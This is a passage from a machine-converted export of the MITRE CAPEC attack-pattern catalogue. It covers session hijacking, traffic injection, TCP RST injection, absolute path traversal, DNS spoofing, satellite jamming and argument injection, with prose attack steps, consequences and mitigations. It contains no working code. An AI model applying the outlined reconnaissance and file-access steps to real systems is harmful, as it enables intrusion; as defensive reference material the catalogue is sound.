forum and reads the message, the malicious script is executed within the victim's browser.</xhtml:div> + + + + + 79 + + + + + + + + + + + + #indReferenceReference34257 + Reference_34257 + + + + + + + + + REF-605 + + + + + Testing for Stored Cross Site Scripting + + + + + + + + + + + + #indContentHistoryContentHistory34259 + Content_History_34259 + + + + + + + + + + + + + + + + #indSubmissionSubmission34260 + Submission_34260 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-04-15 + + + + + + + + + + + + #indModificationModification34265 + Modification_34265 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification34271 + Modification_34271 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification34277 + Modification_34277 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification34283 + Modification_34283 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification34289 + Modification_34289 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification34295 + Modification_34295 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification34301 + Modification_34301 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-593 + Session Hijacking + + + + + + + + + 593 + + + + + Session Hijacking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34314 + Related_Attack_Pattern_34314 + + + + + + + + + + + + + + 21 + + + + + + + + + + + + #indAttackStepAttackStep34317 + Attack_Step_34317 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Discover Existing Session Token] Through varrying means, an adversary will discover and store an existing session token for some other authenticated user session.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34322 + Attack_Step_34322 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Insert Found Session Token] The attacker attempts to insert a found session token into communication with the targeted application to confirm viability for exploitation.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34327 + Attack_Step_34327 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Session Token Exploitation] The attacker leverages the captured session token to interact with the targeted application in a malicious fashion, impersonating the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application that leverages sessions to perform authentication.</xhtml:div> + + + + + + + + + + + + #indSkillSkill34337 + Skill_34337 + + + + + + + + + + + + + + Exploiting a poorly protected identity token is a well understood attack with many helpful resources available. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the ability to communicate with the application over the network.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34343 + Consequence_34343 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful attack can enable an adversary to gain unauthorized access to an application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Properly encrypt and sign identity tokens in transit, and use industry standard session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf. Utilize a session timeout for all sessions. If the user does not explicitly logout, terminate their session after this period of inactivity. If the user logs back in then a new session key should be generated.</xhtml:div> + + + + + 287 + + + + + + + + + + + + #indTaxonomyMappingBrowserSessionHijacking + Browser Session Hijacking + + + + + + + + + + + + + + 1185 + + + + + Browser Session Hijacking + + + + + + + + + + + + #indTaxonomyMappingUseAlternateAuthenticationMaterialApplicationAccessToken + Use Alternate Authentication Material:Application Access Token + + + + + + + + + + + + + + 1550.001 + + + + + Use Alternate Authentication Material:Application Access Token + + + + + + + + + + + + #indTaxonomyMappingRemoteServiceSessionHijacking + Remote Service Session Hijacking + + + + + + + + + + + + + + 1563 + + + + + Remote Service Session Hijacking + + + + + + + + + + + + #indTaxonomyMappingSessionHijackingAttack + Session hijacking attack + + + + + + + + + + + + + + Session hijacking attack + + + + + + + + + + + + #indReferenceReference34375 + Reference_34375 + + + + + + + + + REF-603 + + + + + Testing for Session Hijacking + + + + + + + + + + + + #indContentHistoryContentHistory34377 + Content_History_34377 + + + + + + + + + + + + + + + + #indSubmissionSubmission34378 + Submission_34378 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-04-15 + + + + + + + + + + + + #indModificationModification34383 + Modification_34383 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Examples-Instances, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification34389 + Modification_34389 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification34395 + Modification_34395 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification34401 + Modification_34401 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification34407 + Modification_34407 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification34413 + Modification_34413 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-594 + Traffic Injection + + + + + + + + + 594 + + + + + Traffic Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary injects traffic into the target's network connection. The adversary is therefore able to degrade or disrupt the connection, and potentially modify the content. This is not a flooding attack, as the adversary is not focusing on exhausting resources. Instead, the adversary is crafting a specific input to affect the system in a particular way.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must leverage an open communications channel.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The channel on which the target communicates must be vulnerable to interception (e.g., adversary in the middle attack - CAPEC-94).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool, such as a MITM Proxy, that is capable of generating and injecting custom inputs to be used in the attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34431 + Consequence_34431 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The injection of specific content into a connection can trigger a disruption in that communications channel, thereby denying availability of the service.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34436 + Consequence_34436 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary's injection of additional content into a communication channel negatively impacts the integrity of that channel.</xhtml:div> + + + + + 940 + + + + + + + + + + + + #indContentHistoryContentHistory34445 + Content_History_34445 + + + + + + + + + + + + + + + + #indSubmissionSubmission34446 + Submission_34446 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-03 + + + + + + + + + + + + #indModificationModification34450 + Modification_34450 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Resources_Required + + + + + + + + + + + + #indModificationModification34456 + Modification_34456 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification34462 + Modification_34462 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Prerequisites + + + + + + + + + + + + #CAPEC-595 + Connection Reset + + + + + + + + + 595 + + + + + Connection Reset + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack pattern, an adversary injects a connection reset packet to one or both ends of a target's connection. The attacker is therefore able to have the target and/or the destination server sever the connection without having to directly filter the traffic between them.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34473 + Related_Attack_Pattern_34473 + + + + + + + + + + + + + + 594 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack requires the ability to monitor the target's network connection.</xhtml:div> + + + + + 940 + + + + + + + + + + + + #indContentHistoryContentHistory34481 + Content_History_34481 + + + + + + + + + + + + + + + + #indSubmissionSubmission34482 + Submission_34482 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-04 + + + + + + + + + + + + #indModificationModification34486 + Modification_34486 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-596 + TCP RST Injection + + + + + + + + + 596 + + + + + TCP RST Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary injects one or more TCP RST packets to a target after the target has made a HTTP GET request. The goal of this attack is to have the target and/or destination web server terminate the TCP connection.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34497 + Related_Attack_Pattern_34497 + + + + + + + + + + + + + + 595 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An On/In Path Device</xhtml:div> + + + + + 940 + + + + + + + + + + + + #indReferenceReference34506 + Reference_34506 + + + + + + + + + REF-477 + + + + + + + + + + + + #indContentHistoryContentHistory34508 + Content_History_34508 + + + + + + + + + + + + + + + + #indSubmissionSubmission34509 + Submission_34509 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-03 + + + + + + + + + + + + #indModificationModification34513 + Modification_34513 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-597 + Absolute Path Traversal + + + + + + + + + 597 + + + + + Absolute Path Traversal + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary with access to file system resources, either directly or via application logic, will use various file absolute paths and navigation mechanisms such as ".." to extend their range of access to inappropriate areas of the file system. The goal of the adversary is to access directories and files that are intended to be restricted from their access.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34524 + Related_Attack_Pattern_34524 + + + + + + + + + + + + + + 126 + + + + + + + + + + + + #indAttackStepAttackStep34527 + Attack_Step_34527 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Fingerprinting of the operating system] In order to perform a valid path traversal, the adversary needs to know what the underlying OS is so that the proper file seperator is used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">TCP/IP Fingerprinting. The adversary uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Induce errors to find informative error messages</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34535 + Attack_Step_34535 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey application] Using manual or automated means, an adversary will survey the target application looking for all areas where user input is taken to specify a file name or path.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links on a web page. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of a web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore a website and analyze how it is constructed. Many browser's plug-in are available to facilitate the analysis or automate the URL discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34543 + Attack_Step_34543 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt variations on input parameters] Using manual or automated means, an adversary attempts varying absolute file paths on all found user input locations and observes the responses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access common files in root directories such as "/bin", "/boot", "/lib", or "/home"</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access a specific drive letter or windows volume letter by specifying "C:dirname" for example</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access a known Windows UNC share by specifying "\\\\UNC\\share\\name" for example</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34551 + Attack_Step_34551 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Access, modify, or execute arbitrary files.] An adversary injects absolute path traversal syntax into identified vulnerable inputs to cause inappropriate reading, writing or execution of files. An adversary could be able to read directories or files which they are normally not allowed to read. The adversary could also access data outside the web document root, or include scripts, source code and other kinds of files from external websites. Once the adversary accesses arbitrary files, they could also modify files. In particular situations, the adversary could also execute arbitrary code or system commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manipulate file and its path by injecting absolute path sequences (e.g. "/home/file.txt").</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Download files, modify files, or try to execute shell commands (with binary files).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must leverage and access an underlying file system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill34563 + Skill_34563 + + + + + + + + + + + + + + Simple command line attacks. + + + + + + + + + + + + #indSkillSkill34564 + Skill_34564 + + + + + + + + + + + + + + Programming attacks. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have access to an application interface or a direct shell that allows them to inject directory strings and monitor the results.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34570 + Consequence_34570 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34577 + Consequence_34577 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34582 + Consequence_34582 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34587 + Consequence_34587 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Configure the access control correctly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Input validation. Assume that user inputs are malicious. Utilize strict type, character, and encoding enforcement.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content, including remote and user-generated content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform testing such as pen-testing and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use indirect references rather than actual file names.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use possible permissions on file access when developing and deploying web applications.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Validate user input by only accepting known good. Ensure all content that is delivered to client is sanitized against an acceptable content specification using an allowlist approach.</xhtml:div> + + + + + 36 + + + + + + + + + + + + #indContentHistoryContentHistory34610 + Content_History_34610 + + + + + + + + + + + + + + + + #indSubmissionSubmission34611 + Submission_34611 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-06 + + + + + + + + + + + + #indModificationModification34616 + Modification_34616 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification34622 + Modification_34622 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-598 + DNS Spoofing + + + + + + + + + 598 + + + + + DNS Spoofing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends a malicious ("NXDOMAIN" ("No such domain") code, or DNS A record) response to a target's route request before a legitimate resolver can. This technique requires an On-path or In-path device that can monitor and respond to the target's DNS requests. This attack differs from BGP Tampering in that it directly responds to requests made by the target instead of polluting the routing the target's infrastructure uses.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34633 + Related_Attack_Pattern_34633 + + + + + + + + + + + + + + 194 + + + + + 403 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On/In Path Device</xhtml:div> + + + + + + + + + + + + #indSkillSkill34642 + Skill_34642 + + + + + + + + + + + + + + To distribute email + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Avoid dependence on DNS</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Include "hosts file"/IP address in the application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize a .onion domain with Tor support</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: DNSSEC</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: DNS-hold-open</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Below-Recursive DNS Poisoning: When an On/In-path device between a recursive DNS server and a user sends a malicious ("NXDOMAIN" ("No such domain") code, or DNS A record ) response before a legitimate resolver can.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Above-Recursive DNS Poisoning: When an On/In-path device between an authority server (e.g., government-managed) and a recursive DNS server sends a malicious ("NXDOMAIN" ("No such domain")code, or a DNS record) response before a legitimate resolver can.</xhtml:div> + + + + + + + + + + + + #indReferenceReference34656 + Reference_34656 + + + + + + + + + REF-477 + + + + + + + + + + + + #indReferenceReference34657 + Reference_34657 + + + + + + + + + REF-479 + + + + + + + + + + + + #indContentHistoryContentHistory34659 + Content_History_34659 + + + + + + + + + + + + + + + + #indSubmissionSubmission34660 + Submission_34660 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-04 + + + + + + + + + + + + #indModificationModification34664 + Modification_34664 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification34670 + Modification_34670 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification34676 + Modification_34676 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Description + + + + + + + + + + + + #CAPEC-599 + Terrestrial Jamming + + + + + + + + + 599 + + + + + Terrestrial Jamming + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack pattern, the adversary transmits disruptive signals in the direction of the target's consumer-level satellite dish (as opposed to the satellite itself). The transmission disruption occurs in a more targeted range. Portable terrestrial jammers have a range of 3-5 kilometers in urban areas and 20 kilometers in rural areas. This technique requires a terrestrial jammer that is more powerful than the frequencies sent from the satellite.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34689 + Related_Attack_Pattern_34689 + + + + + + + + + + + + + + 195 + + + + + 513 + + + + + 403 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A terrestrial satellite jammer with a signal more powerful than that of the satellite attempting to communicate with the target.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary must know the location of the target satellite dish.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34701 + Consequence_34701 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful attack will deny, degrade, or disrupt availability of satellite communications for the target by overwhelming its resources to accurately receive authorized transmissions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attempt to deceive a GPS receiver by broadcasting counterfeit GPS signals, structured to resemble a set of normal GPS signals. These jamming signals may be structured in such a way as to cause the receiver to estimate its position to be somewhere other than where it actually is, or to be located where it is but at a different time, as determined by the adversary.</xhtml:div> + + + + + + + + + + + + #indReferenceReference34711 + Reference_34711 + + + + + + + + + REF-462 + + + + + + + + + + + + #indContentHistoryContentHistory34713 + Content_History_34713 + + + + + + + + + + + + + + + + #indSubmissionSubmission34714 + Submission_34714 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-12 + + + + + + + + + + + + #indModificationModification34718 + Modification_34718 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification34724 + Modification_34724 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Description, Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-6 + Argument Injection + + + + + + + + + 6 + + + + + Argument Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern34737 + Related_Attack_Pattern_34737 + + + + + + + + + + + + + + 137 + + + + + 403 + + + + + + + + + + + + #indAttackStepAttackStep34742 + Attack_Step_34742 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Discovery of potential injection vectors] Using an automated tool or manual discovery, the attacker identifies services or methods with arguments that could potentially be used as injection vectors (OS, API, SQL procedures, etc.).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually cover the application and record the possible places where arguments could be passed into external systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spider, for web applications, to create a list of URLs and associated inputs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34749 + Attack_Step_34749 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[1. Attempt variations on argument content] Possibly using an automated tool, the attacker will perform injection variations of the arguments.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a very large list of probe strings in order to detect if there is a positive result, and, what type of system has been targeted (if obscure).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results, error messages and/or log if accessible.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep34756 + Attack_Step_34756 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Abuse of the application] The attacker injects specific syntax into a particular argument in order to generate a specific malicious effect in the targeted application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inject specific payload into targeted argument.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target software fails to strip all user-supplied input of any content that could cause the shell to perform unexpected actions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Software must allow for unvalidated or unfiltered input to be executed on operating system shell, and, optionally, the system configuration must allow for output to be sent back to client.</xhtml:div> + + + + + + + + + + + + #indSkillSkill34768 + Skill_34768 + + + + + + + + + + + + + + The attacker has to identify injection vector, identify the operating system-specific commands, and optionally collect the output. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to communicate synchronously or asynchronously with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence34774 + Consequence_34774 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence34780 + Consequence_34780 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence34784 + Consequence_34784 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Do not program input values directly on command shell, instead treat user input as guilty until proven innocent. Build a function that takes user input and converts it to applications specific types and values, stripping or filtering out all unauthorized commands and characters in the process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Limit program privileges, so if metacharacters or other methods circumvent program input validation routines and shell access is attained then it is not running under a privileged account. chroot jails create a sandbox for the application to execute in, making it more difficult for an attacker to elevate privilege even in the case that a compromise has occurred.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Implement an audit log that is written to a separate host, in the event of a compromise the audit log may be able to provide evidence and details of the compromise.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A recent example instance of argument injection occurred against Java Web Start technology, which eases the client side deployment for Java programs. The JNLP files that are used to describe the properties for the program. The client side Java runtime used the arguments in the property setting to define execution parameters, but if the attacker appends commands to an otherwise legitimate property file, then these commands are sent to the client command shell. [REF-482]</xhtml:div> + + + + + 74 + + + + + 146 + + + + + 184 + + + + + 78 + + + + + 185 + + + + + 697 + + + + + + + + + + + + #indReferenceReference34806 + Reference_34806 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference34807 + Reference_34807 + + + + + + + + + REF-482 + + + + + + + + + + + + #indContentHistoryContentHistory34809 + Content_History_34809 + + + + + + + + + + + + + + + + #indSubmissionSubmission34810 + Submission_34810 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification34815 + Modification_34815 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 